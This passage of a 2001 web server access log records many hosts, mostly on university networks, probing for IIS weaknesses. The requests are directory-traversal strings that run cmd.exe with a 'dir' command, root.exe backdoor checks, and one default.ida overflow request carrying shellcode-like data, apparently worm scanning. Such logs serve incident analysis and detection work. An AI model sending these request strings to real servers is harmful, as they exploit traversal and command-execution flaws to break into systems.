HTTP/1.0" 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:45: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:45: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:46: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:02:59: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:02:59: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:59: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:03:03: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:03:03: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:03:03: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:03:03: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:03:03: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:03:03: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:03:04: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:03:04: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:03:04: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:03:04: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:03:04: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:03:04: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:03:04: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:05:02: dhcp0.cs.columbia.edu [128.59.19.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:05:03: dhcp0.cs.columbia.edu [128.59.19.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:05:03: dhcp0.cs.columbia.edu [128.59.19.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:05:04: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:05:04: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:05:04: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:05:05: dhcp0.cs.columbia.edu [128.59.19.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:05:05: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:05:06: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:05:06: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:05:06: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:05:07: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:05:07: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:05:08: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:05:08: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:05:09: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:09:11: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:09:11: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:09:11: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:09:12: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:09:12: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:09:12: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:09:12: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:09:12: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:09:13: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:09:13: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:09:13: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:09:13: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:09:13: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:09:14: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:09:14: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:09:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 13:10:01: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:10:20: boar.agen.ufl.edu [128.227.240.97] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:10:21: boar.agen.ufl.edu [128.227.240.97] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:10:22: boar.agen.ufl.edu [128.227.240.97] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:10:22: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:10:23: boar.agen.ufl.edu [128.227.240.97] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:10:23: boar.agen.ufl.edu [128.227.240.97] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:10:23: boar.agen.ufl.edu [128.227.240.97] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:10:24: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:10:25: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:10:25: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:10:26: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:10:27: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:10:28: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:10:30: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:10:33: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:10:33: shiwoei.ie.wisc.edu [128.104.188.128] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:11:41: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:11:50: housenet.Colorado.EDU [128.138.118.250] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:11:51: housenet.Colorado.EDU [128.138.118.250] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:11:52: housenet.Colorado.EDU [128.138.118.250] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:11:53: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:11:54: housenet.Colorado.EDU [128.138.118.250] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:11:55: housenet.Colorado.EDU [128.138.118.250] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:11:57: housenet.Colorado.EDU [128.138.118.250] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:11:58: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:11:59: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:12:01: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:12:02: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:12:03: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:12:05: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:12:07: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:12:09: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:12:10: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:14:00: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:14:01: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:14:02: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:14:03: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:14:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:14:06: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:14:07: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:14:09: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:14:10: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:14:12: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:14:14: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:14:15: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:14:16: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:14:18: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:14:20: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:14:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:16:47: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:16:47: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:16:48: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:16:48: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:16:48: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:16:49: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:16:49: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:16:49: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:16:50: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:16:50: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:16:51: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:16:51: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:16:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:16:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:16:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:16:54: [128.187.49.236] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:17:13: [128.187.49.236] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:17:32: [128.187.49.236] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:17:51: [128.187.49.236] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:18:10: [128.187.49.236] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:18:29: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:20:11: andersonm.agronomy.psu.edu [128.118.7.163] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:20:11: andersonm.agronomy.psu.edu [128.118.7.163] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:20:12: andersonm.agronomy.psu.edu [128.118.7.163] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:20:12: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:20:12: andersonm.agronomy.psu.edu [128.118.7.163] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:20:12: andersonm.agronomy.psu.edu [128.118.7.163] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:20:12: andersonm.agronomy.psu.edu [128.118.7.163] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:20:13: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:20:13: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:20:13: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:20:13: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:20:13: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:20:13: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:20:14: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:20:14: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:20:14: [206.107.235.113] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:21:00: [206.107.235.113] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:21:19: [206.107.235.113] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:21:38: [206.107.235.113] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:21:56: [206.107.235.113] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:22:16: [206.107.235.113] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:22:38: [206.107.235.113] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:22:56: [206.107.235.113] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:23:18: [206.107.235.113] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:23:40: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:23:40: CECINST.BU.EDU [128.197.233.7] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:23:40: [206.107.235.113] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:23:59: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:23:59: CECINST.BU.EDU [128.197.233.7] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:23:59: [206.107.235.113] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:24:17: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:24:18: CECINST.BU.EDU [128.197.233.7] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:24:18: [206.107.235.113] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:24:36: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:24:36: CECINST.BU.EDU [128.197.233.7] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:24:37: [206.107.235.113] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:24:55: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:24:55: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:24:55: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:24:56: [206.107.235.113] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:25:14: CECINST.BU.EDU [128.197.233.7] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:25:14: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:25:14: [206.107.235.113] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:25:33: CECINST.BU.EDU [128.197.233.7] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:25:33: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:25:33: [206.107.235.113] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:25:52: CECINST.BU.EDU [128.197.233.7] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:25:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:25:52: [128.208.81.178] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:26:10: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:26:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:26:11: www.kiprc.uky.edu [128.163.39.13] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:26:11: [128.208.81.178] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:26:29: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:26:29: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:26:30: www.kiprc.uky.edu [128.163.39.13] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:26:30: [128.208.81.178] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:26:48: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:26:48: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:26:48: www.kiprc.uky.edu [128.163.39.13] "GET 